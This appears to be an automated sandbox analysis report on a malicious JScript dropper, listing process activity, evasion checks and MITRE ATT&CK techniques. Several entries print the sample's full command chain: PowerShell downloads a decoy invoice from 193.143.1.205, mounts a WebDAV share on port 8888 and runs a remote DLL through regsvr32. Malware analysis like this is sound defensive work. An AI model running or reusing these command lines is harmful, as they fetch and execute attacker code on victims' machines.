Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7618.js.csv");ITextStream.WriteLine(" entry:7508 f:cbohvukwo");ITextStream.WriteLine(" exec:2 f:cbohvukwo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6252			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3643			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5772	Thread sleep count: 6252 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5772	Thread sleep count: 3643 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6660	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1516	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7236	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1627156843.0000028B9BE78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1627156843.0000028B9BED9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2859967016.000001BC7EC56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2858205529.000001BC7962B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
